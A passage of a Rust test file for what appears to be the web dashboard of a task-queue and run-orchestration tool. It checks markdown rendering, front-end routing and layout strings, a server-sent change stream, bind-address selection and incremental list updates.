12013 strong("/reviews_md/0/reconsideration/0");
12014 strong("/reviews_md/0/fix/notes");
12015 strong("/reviews_md/0/fix/rejected/0");
12016 assert_eq!(v["reviews_md"][1]["fix"], serde_json::Value::Null);
12017 assert_eq!(v["reviews_md"][1]["reviewers"], serde_json::json!([]));
12018 assert_eq!(v["candidates"][0]["summary"], "did **it**");
12020 assert!(has_strong(&md::to_nodes("**x**", &md::ImageBase::None)));
12021 }
12022
12023 #[test]
12024 fn a_run_without_advice_has_no_advice_md() {
12025 let state = RunState::new(
12026 std::path::PathBuf::from("/repo"),
12027 "main".to_owned(),
12028 "abc".to_owned(),
12029 "x".to_owned(),
12030 crate::config::Config::default(),
12031 );
12032 let p = run_prose_md(&state);
12033 assert!(p.advice_md.is_none());
12034 assert!(p.candidate_summaries_md.is_empty() && p.reviews_md.is_empty());
12035 }
12036
12037 #[test]
12038 fn a_question_view_carries_markdown_for_each_thread_turn() {
12039 let home = TempDir::new().unwrap();
12040 let store = ask::Questions::at(home.path().join("questions"));
12041 let mut q = Question::new(
12042 "run".to_owned(),
12043 "implement".to_owned(),
12044 "impl-A".to_owned(),
12045 "which?".to_owned(),
12046 String::new(),
12047 Vec::new(),
12048 );
12049 q.say("plain words").unwrap();
12050 q.reply("use **this**", Vec::new()).unwrap();
12051 let v = serde_json::to_value(QuestionView::of(q, &store, false)).unwrap();
12052 let bodies = &v["thread_bodies_md"];
12053 assert_eq!(bodies.as_array().unwrap().len(), 2);
12054 assert!(!bodies[0].to_string().contains("strong"));
12055 assert!(bodies[1].to_string().contains("strong"));
12056 }
12057
12058 #[test]
12059 fn a_finished_run_with_a_stale_open_pr_is_not_painted_as_landing() {
12060 assert!(APP_JS.contains("function landView(run, raw) {"));
12064 assert!(
12065 APP_JS.contains(
12066 "if (run.done && raw.state === \"open\") return { ...raw, stale: true };"
12067 )
12068 );
12069 assert!(APP_JS.contains("const pr = landView(run, raw);"));
12070 assert!(APP_JS.contains("pr.stale ? \"last seen open\""));
12071 assert!(APP_JS.contains("pr.stale ? null : checksChip(pr)"));
12072 assert!(APP_JS.contains("pr.state !== \"open\" || Boolean(pr.stale)"));
12073 }
12074
12075 #[test]
12076 fn live_runs_are_never_hidden_or_folded_as_superseded() {
12077 assert!(APP_JS.contains("function isLiveAttempt(run) {\n return !run.done;"));
12078 assert!(APP_JS.contains("if (isLiveAttempt(run)) return false;"));
12079 assert!(APP_JS.contains("(!isLiveAttempt(run) && run.superseded_by"));
12080 assert!(APP_JS.contains("kids.filter(matchesRunState).length"));
12081 }
12082
12083 #[test]
12084 fn review_rounds_label_a_distinct_verified_head() {
12085 assert!(APP_JS.contains("round.verified_head"));
12086 assert!(APP_JS.contains("verified HEAD"));
12087 assert!(APP_JS.contains("verified ${String(round.verified_head).slice(0, 7)}"));
12088 }
12089
12090 #[test]
12091 fn queue_ui_presents_blocked_dependencies_and_resolved_questions() {
12092 assert!(APP_JS.contains("blocked: { glyph:"));
12096 assert!(APP_JS.contains("Blocked. Waiting on another task or question to resolve."));
12097
12098 assert!(APP_JS.contains("function classifyBlockedBy(blockedBy, tasksById, questionsById)"));
12102 assert!(
12103 APP_JS.contains(
12104 "if (parts.length) noteText = `${noteText} Waiting on ${parts.join(\" and \")}.`;"
12105 ),
12106 "the note line must name what a blocked task is waiting on, not just that it is blocked"
12107 );
12108 assert!(APP_JS.contains("if (status === \"blocked\") {"));
12112
12113 assert!(APP_JS.contains("function depNode(id, byId, questionNodes)"));
12117 assert!(APP_JS.contains("questionNodes.set(dep, questionsById.get(dep));"));
12118 assert!(
12119 APP_JS.contains("location.hash = \"#/questions\";"),
12120 "a question node must jump to the Questions screen, not pretend to be a task"
12121 );
12122
12123 assert!(APP_JS.contains("Resolved questions"));
12126 assert!(APP_JS.contains("r.answersList.append("));
12127 assert!(APP_CSS.contains(".task-answers"));
12128 {
12129 let start = APP_JS
12130 .find("function updateTalkTaskRow")
12131 .expect("updateTalkTaskRow");
12132 let body = &APP_JS[start..];
12133 let body = &body[..body.find("\n}\n").expect("updateTalkTaskRow ends")];
12134 assert!(
12135 body.contains(
12136 "setAttr(r.link, \"href\", `#/tasks/${encodeURIComponent(task.id)}`)"
12137 ),
12138 "a chat-filed task row must link to the task page"
12139 );
12140 assert!(
12141 !body.contains("#/runs/") && !body.contains("#/queue/"),
12142 "the row must not branch to a run or the queue card"
12143 );
12144 assert!(APP_CSS.contains(".talk-task-link"));
12145 }
12146 }
12147
12148 #[test]
12149 fn a_task_notification_links_to_the_task_page() {
12150 let start = APP_JS
12152 .find("function noticeLink(")
12153 .expect("noticeLink exists");
12154 let body = &APP_JS[start..];
12155 let body = &body[..body.find("\n}\n").expect("noticeLink ends")];
12156 assert!(
12157 body.contains("href: `#/tasks/${encodeURIComponent(link.id)}`"),
12158 "a task notice's link must target the task page"
12159 );
12160 assert!(
12161 !body.contains("#/queue/"),
12162 "regression: the task link must not go back to the Backlog route"
12163 );
12164 assert!(
12165 APP_JS.contains(
12166 "if (parts[0] === \"tasks\" && parts[1]) return { name: \"task\", id: decodeURIComponent(parts[1]) };"
12167 ),
12168 "`#/tasks/<id>` must parse into the task route"
12169 );
12170
12171 assert!(
12173 APP_JS.contains(
12174 "if (parts[0] === \"queue\" && parts[1]) return { name: \"queue\", id: decodeURIComponent(parts[1]) };"
12175 ),
12176 "`#/queue/<id>` must parse into a route carrying that id"
12177 );
12178
12179 assert!(APP_JS.contains("state.queueFocus = route.id;"));
12183 assert!(APP_JS.contains("function consumeQueueFocus()"));
12184 assert!(APP_JS.contains("jumpToTask(id)"));
12185 }
12186
12187 #[test]
12190 fn chat_rows_put_the_title_alone_on_the_first_line() {
12191 assert!(APP_CSS.contains("#talks-list .card-title {\n grid-row: 1; grid-column: 1 / -1;"));
12192 assert!(APP_CSS.contains(
12193 "display: block; white-space: nowrap; overflow: hidden; text-overflow: ellipsis;"
12194 ));
12195 assert!(APP_CSS.contains("#talks-list .card-when { grid-row: 2;"));
12196 assert!(APP_JS.contains("class: \"badge talk-unread\""));
12197 }
12198
12199 #[test]
12200 fn run_rows_put_the_title_alone_on_the_first_line() {
12201 assert!(
12202 APP_CSS.contains(
12203 ".cards .card.run-card .card-title {\n grid-row: 1; grid-column: 1 / -1;"
12204 )
12205 );
12206 assert!(APP_CSS.contains(".cards .card.run-card .card-when { grid-row: 2;"));
12207 assert!(APP_JS.contains("class: \"card run-card\""));
12208 assert!(APP_JS.contains("class: \"repo run-id\""));
12209 }
12210
12211 #[test]
12215 fn wide_screens_show_list_and_preview_side_by_side() {
12216 assert!(APP_JS.contains("const SPLIT_QUERY = \"(min-width: 1080px)\";"));
12218 assert!(APP_JS.contains("window.matchMedia(SPLIT_QUERY)"));
12219 assert!(APP_CSS.contains("main[data-split]"));
12220 assert!(APP_CSS.contains("body[data-split]"));
12221
12222 assert!(APP_JS.contains("function splitPanes(route, wide) {\n if (!wide) return null;"));
12224 assert!(APP_JS.contains("case \"run\": return { list: \"runs\", detail: \"run\" };"));
12225 assert!(APP_JS.contains("case \"task\": return { list: \"queue\", detail: \"task\" };"));
12226 assert!(APP_JS.contains("case \"talk\": return { list: \"talks\", detail: \"talk\" };"));
12227 assert!(INDEX_HTML.contains("id=\"split-empty\""));
12228
12229 assert!(APP_JS.contains("function markSelected() {"));
12231 assert!(APP_JS.contains("\"aria-current\", id && card.dataset[key] === id"));
12232 assert!(APP_CSS.contains(".card[aria-current=\"true\"]"));
12233 assert!(
12235 APP_CSS.contains(
12236 "display: flex; flex-direction: row; flex-wrap: wrap; align-items: center;"
12237 )
12238 );
12239
12240 assert!(APP_CSS.contains("height: 100dvh; padding-bottom: 0; overflow: hidden;"));
12242 assert!(APP_CSS.contains("grid-column: 1; grid-row: 1; min-height: 0; overflow: auto;"));
12243 assert!(APP_CSS.contains("grid-column: 2; grid-row: 1; min-height: 0; overflow: auto;"));
12244 assert!(!APP_JS.contains("if (changed) window.scrollTo({ top: 0 });"));
12245
12246 assert!(APP_JS.contains("if (state.detail.id !== id) return;"));
12250 assert!(APP_JS.contains("if (state.taskDetail.id !== id) return;"));
12251 assert!(APP_JS.contains("if (state.talkDetail.id !== id) return;"));
12252 assert!(APP_JS.contains("const relayout = () => applyRoute();"));
12253
12254 assert!(APP_JS.contains("sandbox: \"\""));
12256 assert!(!APP_JS.contains("sandbox: \"allow"));
12257 }
12258
12259 #[test]
12260 fn consuming_a_queue_focus_survives_clearing_a_stale_backlog_search() {
12261 assert!(
12270 APP_JS.contains(
12271 " }\n if (state.queueSearch.trim() !== \"\") {\n state.queueSearch = \"\";"
12272 ),
12273 "the search-clearing branch must run before state.queueFocus is cleared, or the \
12274 recursive renderQueue() call has nothing left to jump to"
12275 );
12276 assert!(
12277 APP_JS.contains("if (jumpToTask(id)) state.queueFocus = null;"),
12278 "state.queueFocus must be cleared only once the jump has landed, so a card that \
12279 arrives later still gets it"
12280 );
12281 assert!(APP_JS.contains("state.queueFocusMissing = missing ? id : null;"));
12282 assert!(APP_JS.contains("is not in the current Backlog."));
12283 assert!(APP_JS.contains("li.card[data-task-id=\""));
12284 assert!(APP_JS.contains("setAttr(r.card, \"data-task-id\", task.id);"));
12285 assert!(APP_JS.contains("`#/queue/${encodeURIComponent(task.id)}`"));
12286 assert!(APP_CSS.contains(".card-permalink"));
12287 assert!(APP_CSS.contains(".queue-focus-status"));
12288 assert!(APP_JS.contains("const section = route.name === \"run\" ? \"runs\""));
12289 }
12290
12291 #[test]
12292 fn a_notification_card_navigates_from_anywhere_on_it_not_just_its_link_text() {
12293 assert!(
12301 APP_JS.contains(
12302 "onclick: link ? (event) => { if (!event.target.closest(\"a, button\")) link.click(); } : null"
12303 ),
12304 "the notice card itself must forward a tap outside its link/buttons to the link's own click"
12305 );
12306 }
12307
12308 #[test]
12309 fn review_rounds_tell_a_stale_verification_and_a_resource_block_apart_from_a_real_result() {
12310 assert!(
12311 APP_JS.contains("round.verified_head !== round.head"),
12312 "a round that verified an earlier commit must be visibly distinct from one that \
12313 verified the head reviewers are looking at now"
12314 );
12315 assert!(
12316 APP_JS.contains("round.verified_at"),
12317 "when a check ran must be on the wire, not just which commit"
12318 );
12319 assert!(
12320 APP_JS.contains("resource_blocked"),
12321 "a command magi never got to run (shared build cache contention) must not render \
12322 the same as a command that ran and failed"
12323 );
12324 }
12325
12326 #[test]
12327 fn a_stats_kpi_tile_navigates_to_the_runs_view_pre_filtered_to_its_own_status() {
12328 assert!(
12336 APP_JS.contains("onClick: () => openRunsFiltered(status)"),
12337 "every KPI tile built through statusTile() must route its click through \
12338 openRunsFiltered, the single place that sets the Runs filter"
12339 );
12340 for (label, status) in [
12341 ("Merged", "merged"),
12342 ("Ready", "ready"),
12343 ("Blocked", "blocked"),
12344 ("Stalled", "stalled"),
12345 ] {
12346 let call = format!("statusTile(\"{label}\", t.{status}, ");
12347 assert!(
12348 APP_JS.contains(&call),
12349 "expected the {label} KPI tile built via {call}..."
12350 );
12351 assert!(
12352 APP_JS.contains(&format!("status === \"{status}\"")),
12353 "\"{status}\" must be a real RunStatus literal runSection()/isStale() already \
12354 compare a run against, not one invented only for the stats tile"
12355 );
12356 }
12357 assert!(
12358 APP_JS.contains("function openRunsFiltered(status)"),
12359 "openRunsFiltered must exist as the single place a stats tile sets the Runs filter"
12360 );
12361 assert!(
12362 APP_JS.contains(
12363 "if (status && !statusInBucket(String(run.status || \"\"), status)) return false;"
12364 ),
12365 "matchesFilter must gate on the statuses of the bucket a KPI tile named"
12366 );
12367 assert!(
12375 APP_JS.contains(" location.hash = \"#runs\";\n applyRoute();\n renderRuns();\n}"),
12376 "openRunsFiltered must explicitly re-render the Runs list, not rely on a \
12377 hashchange event that may never fire"
12378 );
12379 }
12380
12381 #[test]
12382 fn selecting_a_run_state_chip_drops_an_incompatible_status_filter() {
12383 assert!(APP_JS.contains("function statusCompatibleWithStateFilter(status, filterKey)"));
12389 assert!(
12390 APP_JS.contains(
12391 " if (state.runsFilter.status && !statusCompatibleWithStateFilter(state.runsFilter.status, key)) {\n state.runsFilter = { ...state.runsFilter, status: null };\n }"
12392 ),
12393 "selectRunStateFilter must clear an incompatible status filter, mirroring its own \
12394 guard for an incompatible tree section"
12395 );
12396 }
12397
12398 #[test]
12399 fn every_stats_queue_tile_names_a_real_queue_section() {
12400 assert!(
12406 APP_JS.contains("onClick: () => openQueueSectionFocus(sectionKey)"),
12407 "every queue tile built through sectionTile() must route its click through \
12408 openQueueSectionFocus"
12409 );
12410 for key in ["upnext", "running", "done", "held", "blocked"] {
12411 assert!(
12412 APP_JS.contains(&format!("{{ key: \"{key}\",")),
12413 "QUEUE_SECTIONS must define a \"{key}\" section for a stats tile to reveal"
12414 );
12415 }
12416 for line in [
12420 "sectionTile(\"Queued\", q.queued, \"blue\", \"upnext\"),",
12421 "sectionTile(\"Running\", q.running, \"blue\", \"running\"),",
12422 "sectionTile(\"Done\", q.done, \"gold\", \"done\"),",
12423 "sectionTile(\"Failed\", q.failed, \"rust\", \"upnext\"),",
12424 "sectionTile(\"Held\", q.held, \"rust\", \"held\"),",
12425 "sectionTile(\"Blocked\", q.blocked, \"rust\", \"blocked\"),",
12426 ] {
12427 assert!(APP_JS.contains(line), "expected a stats queue tile: {line}");
12428 }
12429 }
12430
12431 #[test]
12432 fn a_stats_queue_tile_reveals_its_section_without_dropping_a_pending_task_focus() {
12433 assert!(APP_JS.contains("function openQueueSectionFocus(sectionKey)"));
12440 assert!(APP_JS.contains("function consumeQueueSectionFocus()"));
12441 assert!(APP_JS.contains("function revealQueueSection(details)"));
12442 assert!(
12443 APP_JS.contains("consumeQueueFocus();\n consumeQueueSectionFocus();"),
12444 "renderQueue() must consume both focus channels on every pass"
12445 );
12446 assert!(
12447 APP_JS.contains(
12448 " const key = state.queueSectionFocus;\n if (!key || state.queue === null) return;\n if (state.queueSearch.trim() !== \"\") {"
12449 ),
12450 "the search-clearing branch must run before state.queueSectionFocus is cleared, or \
12451 the recursive renderQueue() call has nothing left to reveal"
12452 );
12453 assert!(
12454 APP_JS.contains(
12455 " const details = document.querySelector(`#queue-sections details.list-section[data-key=\"${CSS.escape(key)}\"]`);\n state.queueSectionFocus = null;\n if (details) revealQueueSection(details);"
12456 ),
12457 "state.queueSectionFocus must only be cleared immediately before the reveal it guards"
12458 );
12459 assert!(
12467 APP_JS.contains(" location.hash = \"#queue\";\n applyRoute();\n renderQueue();\n}"),
12468 "openQueueSectionFocus must explicitly re-render the Backlog, not rely on a \
12469 hashchange event that may never fire"
12470 );
12471 }
12472
12473 #[tokio::test]
12474 async fn the_change_stream_announces_the_current_revisions_on_connect() {
12475 let f = Fixture::start().await;
12476
12477 let mut socket = tokio::net::TcpStream::connect(f.addr)
12478 .await
12479 .expect("connect");
12480 socket
12481 .write_all(
12482 b"GET /api/events HTTP/1.1\r\nHost: magi\r\nAccept: text/event-stream\r\n\r\n",
12483 )
12484 .await
12485 .expect("write request");
12486
12487 let mut seen = String::new();
12490 let mut buf = [0u8; 1024];
12491 while !seen.contains("event: change") {
12492 let read = tokio::time::timeout(Duration::from_secs(5), socket.read(&mut buf))
12493 .await
12494 .expect("the stream must speak within five seconds")
12495 .expect("read");
12496 assert!(read > 0, "the server closed the change stream: {seen}");
12497 seen.push_str(&String::from_utf8_lossy(&buf[..read]));
12498 }
12499
12500 assert!(
12501 seen.to_lowercase()
12502 .contains("content-type: text/event-stream"),
12503 "the browser only reconnects automatically for a real SSE stream: {seen}"
12504 );
12505 let data = seen
12506 .lines()
12507 .find_map(|l| l.strip_prefix("data:"))
12508 .expect("a data line");
12509 let payload: Value = serde_json::from_str(data.trim()).expect("json payload");
12510 assert!(
12511 payload["queue_rev"].is_u64()
12512 && payload["runs_rev"].is_u64()
12513 && payload["questions_rev"].is_u64()
12514 && payload["talks_rev"].is_u64()
12515 && payload["notifications_rev"].is_u64()
12516 && payload["loop_rev"].is_u64(),
12517 "the client needs one revision per store to know what to refetch, \
12518 and `talks_rev` is the only notification a standing talk gets - a \
12519 phone whose radio slept through a turn learns about it here, as \
12520 does one whose operator started the loop from another device: \
12521 {payload}"
12522 );
12523
12524 let health = f.get("/api/health").await.json();
12531 for key in [
12532 "queue_rev",
12533 "runs_rev",
12534 "questions_rev",
12535 "talks_rev",
12536 "notifications_rev",
12537 "loop_rev",
12538 ] {
12539 assert!(
12540 health[key].is_u64(),
12541 "health is the change stream's fallback and is missing `{key}`: {health}"
12542 );
12543 }
12544 }
12545
12546 #[tokio::test]
12547 async fn a_new_turn_on_a_talk_moves_the_change_stream_revision() {
12548 let f = Fixture::start().await;
12549 let before = f.get("/api/health").await.json()["talks_rev"]
12550 .as_u64()
12551 .expect("talks_rev");
12552
12553 let talk = seed_talk(&f, "20260904-014455-ab12", "open");
12554 std::thread::sleep(Duration::from_millis(10));
12555 let mut on_disk = f.talks().get(&talk).expect("get seeded talk");
12556 on_disk.turns.push(crate::talk::Turn {
12557 who: crate::talk::Who::Operator,
12558 body: "a new turn".to_owned(),
12559 at: Timestamp::now(),
12560 attachments: Vec::new(),
12561 usage: None,
12562 });
12563 f.talks().put(&mut on_disk).expect("record a turn");
12564
12565 let after = f.get("/api/health").await.json()["talks_rev"]
12566 .as_u64()
12567 .expect("talks_rev");
12568 assert_ne!(
12569 before, after,
12570 "a phone must be able to notice a talk's reply without polling every store"
12571 );
12572 }
12573
12574 #[test]
12575 fn bind_reads_back_from_the_spelling_the_cli_prints() {
12576 for bind in [Bind::Auto, Bind::Addr(IpAddr::V4(Ipv4Addr::LOCALHOST))] {
12580 assert_eq!(bind.to_string().parse::<Bind>(), Ok(bind));
12581 }
12582 assert_eq!("AUTO".parse::<Bind>(), Ok(Bind::Auto));
12583 assert!("everywhere".parse::<Bind>().is_err());
12584 }
12585
12586 #[test]
12587 fn an_explicit_bind_address_is_taken_verbatim() {
12588 let asked = IpAddr::V4(Ipv4Addr::new(192, 168, 1, 20));
12589
12590 let (addr, warning) = resolve_bind(&Bind::Addr(asked));
12591
12592 assert_eq!(addr, asked);
12593 assert!(
12594 warning.is_none(),
12595 "an operator who named an address gets no lecture"
12596 );
12597 }
12598
12599 #[test]
12600 fn bind_auto_either_finds_a_tailnet_address_or_says_the_ui_is_local_only() {
12601 let (addr, warning) = resolve_bind(&Bind::Auto);
12602
12603 match addr {
12610 IpAddr::V4(ip) if is_tailnet(&ip) => {
12611 assert!(warning.is_none(), "a tailnet address needs no warning");
12612 }
12613 other => {
12614 assert_eq!(other, IpAddr::V4(Ipv4Addr::LOCALHOST));
12615 let warning = warning.expect("a fallback has to explain itself");
12616 assert!(
12617 warning.contains("127.0.0.1") && warning.contains("local-only"),
12618 "the warning says what happened and what it costs: {warning}"
12619 );
12620 }
12621 }
12622 }
12623
12624 #[test]
12625 fn only_the_cgnat_block_counts_as_a_tailnet_address() {
12626 assert!(is_tailnet(&Ipv4Addr::new(100, 64, 0, 1)));
12630 assert!(is_tailnet(&Ipv4Addr::new(100, 127, 255, 254)));
12631 assert!(!is_tailnet(&Ipv4Addr::new(100, 63, 255, 255)));
12632 assert!(!is_tailnet(&Ipv4Addr::new(100, 128, 0, 1)));
12633 assert!(!is_tailnet(&Ipv4Addr::new(127, 0, 0, 1)));
12634 }
12635
12636 #[test]
12637 fn an_ambiguous_prefix_is_a_bad_request_and_a_missing_one_is_not_found() {
12638 let ids = vec![
12639 "20260902-140501-aaaa".to_owned(),
12640 "20260902-140502-aabb".to_owned(),
12641 ];
12642
12643 let missing = pick(ids.clone(), "zzzz", "run").expect_err("no match");
12644 let ambiguous = pick(ids.clone(), "202609", "run").expect_err("two matches");
12645 let short = pick(ids, "aabb", "run").expect("the short id is the tail of an id");
12646
12647 assert_eq!(missing.status, StatusCode::NOT_FOUND);
12648 assert_eq!(ambiguous.status, StatusCode::BAD_REQUEST);
12649 assert_eq!(short, "20260902-140502-aabb");
12650 }
12651 #[tokio::test]
12652 async fn a_panel_reaches_its_assets_by_the_bare_name_it_was_told_to_use() {
12653 let fx = Fixture::start().await;
12659 let id = panel(
12660 &fx,
12661 "<img src=\"shot.png\">",
12662 &[("shot.png", b"\x89PNG\r\n\x1a\n")],
12663 );
12664
12665 let doc = fx
12667 .get(&format!("/api/questions/{id}/panel/index.html"))
12668 .await;
12669 assert_eq!(doc.status, 200, "{}", doc.body);
12670 assert_eq!(doc.header("content-type"), Some("text/html; charset=utf-8"));
12671
12672 let sibling = fx.get(&format!("/api/questions/{id}/panel/shot.png")).await;
12673 assert_eq!(sibling.status, 200, "{}", sibling.body);
12674 assert_eq!(sibling.header("content-type"), Some("image/png"));
12675 assert_eq!(
12676 sibling.header("content-security-policy"),
12677 Some(PANEL_CSP),
12678 "the sibling route must carry the same policy as the asset route"
12679 );
12680
12681 assert_eq!(
12684 fx.head(&format!("/api/questions/{id}/panel")).await.status,
12685 200
12686 );
12687 }
12688
12689 #[test]
12690 fn delta_stamps_cover_add_update_remove_and_noop() {
12691 let before: Stamps = [("a".into(), (1, 10)), ("b".into(), (2, 20))].into();
12692 let after: Stamps = [("b".into(), (2, 21)), ("c".into(), (3, 30))].into();
12693 let delta = diff_stamps(&before, &after, 42);
12694 assert_eq!(delta.base, 42);
12695 assert_eq!(delta.changed, ["b", "c"]);
12696 assert_eq!(delta.removed, ["a"]);
12697 let same = diff_stamps(&after, &after, 43);
12698 assert!(same.changed.is_empty() && same.removed.is_empty());
12699 assert_ne!(stamps_revision(&before), stamps_revision(&after));
12700 let nanos: Stamps = [("b".into(), (2, 20))].into();
12701 let same_ms: Stamps = [("b".into(), (3, 20))].into();
12702 assert_ne!(stamps_revision(&nanos), stamps_revision(&same_ms));
12703 assert_eq!(stamps_revision(&Stamps::new()), 0);
12704 }
12705
12706 fn delta_test_ui(home: &FsPath) -> Arc<Ui> {
12707 std::fs::create_dir_all(home.join("runs")).unwrap();
12708 Arc::new(Ui::new(
12709 Queue::at(home.join("queue")),
12710 Questions::at(home.join("questions")),
12711 Talks::at(home.join("talks")),
12712 home.join("runs"),
12713 home.to_owned(),
12714 PathBuf::from("/repo/magi"),
12715 ))
12716 }
12717
12718 #[tokio::test]
12719 async fn delta_stream_announces_a_base_then_changed_and_removed_ids() {
12720 let home = TempDir::new().unwrap();
12721 let ui = delta_test_ui(home.path());
12722 let mut task = Task::new(
12723 "stream task".into(),
12724 "text".into(),
12725 PathBuf::from("/repo"),
12726 Source::Human,
12727 );
12728 ui.queue.put(&mut task).unwrap();
12729 let response = events(State(ui.clone())).await.into_response();
12730 let mut stream = response.into_body().into_data_stream();
12731 async fn change(stream: &mut axum::body::BodyDataStream) -> serde_json::Value {
12732 let chunk = tokio::time::timeout(Duration::from_secs(5), stream.next())
12733 .await
12734 .unwrap()
12735 .unwrap()
12736 .unwrap();
12737 let text = String::from_utf8(chunk.to_vec()).unwrap();
12738 let data = text
12739 .lines()
12740 .find_map(|line| {
12741 line.strip_prefix("data: ")
12742 .or_else(|| line.strip_prefix("data:"))
12743 })
12744 .unwrap();
12745 serde_json::from_str(data).unwrap()
12746 }
12747 let initial = change(&mut stream).await;
12748 assert!(initial.get("queue_delta").is_none());
12749 task.instruction.push_str(" changed");
12750 ui.queue.put(&mut task).unwrap();
12751 let updated = change(&mut stream).await;
12752 assert_eq!(updated["queue_delta"]["base"], initial["queue_rev"]);
12753 assert_eq!(
12754 updated["queue_delta"]["changed"],
12755 serde_json::json!([task.id])
12756 );
12757 assert_eq!(
12758 updated["queue_rev"].as_u64(),
12759 Some(stamps_revision(&store_stamps(ui.queue.root(), false)))
12760 );
12761 std::fs::remove_file(ui.queue.path_of(&task.id)).unwrap();
12762 let removed = change(&mut stream).await;
12763 assert_eq!(removed["queue_delta"]["base"], updated["queue_rev"]);
12764 assert_eq!(
12765 removed["queue_delta"]["removed"],
12766 serde_json::json!([task.id])
12767 );
12768 }
12769
12770 #[tokio::test]
12771 async fn delta_lists_keep_blockers_and_respect_the_run_window() {
12772 let home = TempDir::new().unwrap();
12773 let ui = delta_test_ui(home.path());
12774 let queue = ui.queue.clone();
12775 let query = |ids: Option<&str>| {
12776 Query(ListQuery {
12777 limit: Some(2),
12778 ids: ids.map(str::to_owned),
12779 })
12780 };
12781 let mut root = Task::new(
12782 "root".into(),
12783 "instruction".into(),
12784 PathBuf::from("/repo"),
12785 Source::Human,
12786 );
12787 queue.put(&mut root).unwrap();
12788 let mut blocked = Task::new(
12789 "blocked".into(),
12790 "instruction".into(),
12791 PathBuf::from("/repo"),
12792 Source::Human,
12793 );
12794 blocked.block(vec![root.id.clone()], None);
12795 queue.put(&mut blocked).unwrap();
12796 let whole =
12797 serde_json::to_value(queue_list(State(ui.clone()), query(None)).await.unwrap().0)
12798 .unwrap();
12799 let subset = serde_json::to_value(
12800 queue_list(State(ui.clone()), query(Some(&root.id)))
12801 .await
12802 .unwrap()
12803 .0,
12804 )
12805 .unwrap();
12806 assert_eq!(whole, subset, "requested root plus its blocked dependent");
12807 let blockers = serde_json::to_value(
12808 queue_list(State(ui.clone()), query(Some("")))
12809 .await
12810 .unwrap()
12811 .0,
12812 )
12813 .unwrap();
12814 assert_eq!(blockers.as_array().unwrap().len(), 1);
12815 assert_eq!(blockers[0]["id"], blocked.id);
12816 assert_eq!(
12817 blockers[0]["waits_on"],
12818 whole
12819 .as_array()
12820 .unwrap()
12821 .iter()
12822 .find(|row| row["id"] == blocked.id)
12823 .unwrap()["waits_on"]
12824 );
12825
12826 for id in [
12827 "20260902-140501-aaaa",
12828 "20260902-140502-bbbb",
12829 "20260902-140503-cccc",
12830 ] {
12831 write_run(&ui.runs, id, RunStatus::Merged);
12832 }
12833 let old = serde_json::to_value(
12834 runs_list(State(ui.clone()), query(Some("20260902-140501-aaaa")))
12835 .await
12836 .unwrap()
12837 .0,
12838 )
12839 .unwrap();
12840 assert!(
12841 old.as_array().unwrap().is_empty(),
12842 "older updates must not enter the window"
12843 );
12844 let newest = serde_json::to_value(
12845 runs_list(State(ui.clone()), query(Some("20260902-140503-cccc")))
12846 .await
12847 .unwrap()
12848 .0,
12849 )
12850 .unwrap();
12851 assert_eq!(newest.as_array().unwrap().len(), 1);
12852 assert_eq!(newest[0]["id"], "20260902-140503-cccc");
12853
12854 seed_talk_at(&ui.talks, "20260905-000000-d4e5", "open");
12855 seed_talk_at(&ui.talks, "20260905-000001-d4e6", "open");
12856 let talks = serde_json::to_value(
12857 talks_list(State(ui.clone()), query(Some("20260905-000000-d4e5")))
12858 .await
12859 .unwrap()
12860 .0,
12861 )
12862 .unwrap();
12863 assert_eq!(talks.as_array().unwrap().len(), 1);
12864 assert_eq!(talks[0]["id"], "20260905-000000-d4e5");
12865 assert_eq!(
12866 serde_json::to_value(
12867 talks_list(State(ui.clone()), query(Some("")))
12868 .await
12869 .unwrap()
12870 .0
12871 )
12872 .unwrap(),
12873 serde_json::json!([])
12874 );
12875 }
12876
12877 #[tokio::test]
12878 #[ignore = "manual payload measurement; requires a JSON snapshot in MAGI_WEB_BENCH_HOME"]
12879 async fn delta_payload_benchmark() {
12880 let home = PathBuf::from(std::env::var_os("MAGI_WEB_BENCH_HOME").expect("snapshot"));
12881 let ui = delta_test_ui(&home);
12882 let query = |ids: Option<String>| {
12883 Query(ListQuery {
12884 limit: Some(50),
12885 ids,
12886 })
12887 };
12888 let queue = queue_list(State(ui.clone()), query(None)).await.unwrap().0;
12889 let runs = runs_list(State(ui.clone()), query(None)).await.unwrap().0;
12890 let talks = talks_list(State(ui.clone()), query(None)).await.unwrap().0;
12891 let queue_id = queue
12892 .iter()
12893 .find(|row| row.task.status == crate::queue::TaskStatus::Running)
12894 .unwrap_or(&queue[0])
12895 .task
12896 .id
12897 .clone();
12898 let queue_delta = queue_list(State(ui.clone()), query(Some(queue_id)))
12899 .await
12900 .unwrap()
12901 .0;
12902 let runs_delta = runs_list(State(ui.clone()), query(Some(runs[0].id.clone())))
12903 .await
12904 .unwrap()
12905 .0;
12906 let talks_delta = talks_list(State(ui.clone()), query(Some(talks[0].talk.id.clone())))
12907 .await
12908 .unwrap()
12909 .0;
12910 let bytes = |rows: serde_json::Value| serde_json::to_vec(&rows).unwrap().len();
12911 eprintln!(
12912 "DELTA_PAYLOAD {}",
12913 serde_json::json!({
12914 "queue": [bytes(serde_json::to_value(&queue).unwrap()), bytes(serde_json::to_value(&queue_delta).unwrap())],
12915 "runs50": [bytes(serde_json::to_value(&runs).unwrap()), bytes(serde_json::to_value(&runs_delta).unwrap())],
12916 "talks": [bytes(serde_json::to_value(&talks).unwrap()), bytes(serde_json::to_value(&talks_delta).unwrap())],
12917 "counts": [queue.len(), runs.len(), talks.len()],
12918 "blocked": queue_delta.len() - 1,
12919 })
12920 );
12921 }
12922
12923 #[test]
12924 fn runs_revision_moves_when_deleting_an_older_run() {
12925 let temp = TempDir::new().expect("tempdir");
12926 let runs = temp.path().join("runs");
12927 std::fs::create_dir_all(&runs).expect("create runs dir");
12928
12929 assert_eq!(runs_revision(&runs), 0, "empty runs has 0 revision");
12930
12931 write_run(&runs, "20260901-100000-old1", RunStatus::Merged);
12932 std::thread::sleep(Duration::from_millis(10));
12933 write_run(&runs, "20260902-100000-new2", RunStatus::Merged);
12934
12935 let rev_before = runs_revision(&runs);
12936 assert!(rev_before > 0);
12937
12938 let old_dir = runs.join("20260901-100000-old1");
12939 std::fs::remove_dir_all(&old_dir).expect("remove old run");
12940
12941 let rev_after = runs_revision(&runs);
12942 assert_ne!(
12943 rev_before, rev_after,
12944 "deleting an older run must change the revision so other clients see the deletion"
12945 );
12946 }
12947
12948 fn write_state(runs: &FsPath, state: &RunState) {
12953 let dir = runs.join(&state.id);
12954 std::fs::create_dir_all(&dir).expect("run dir");
12955 std::fs::write(
12956 dir.join("run.json"),
12957 serde_json::to_string_pretty(state).expect("serialize run"),
12958 )
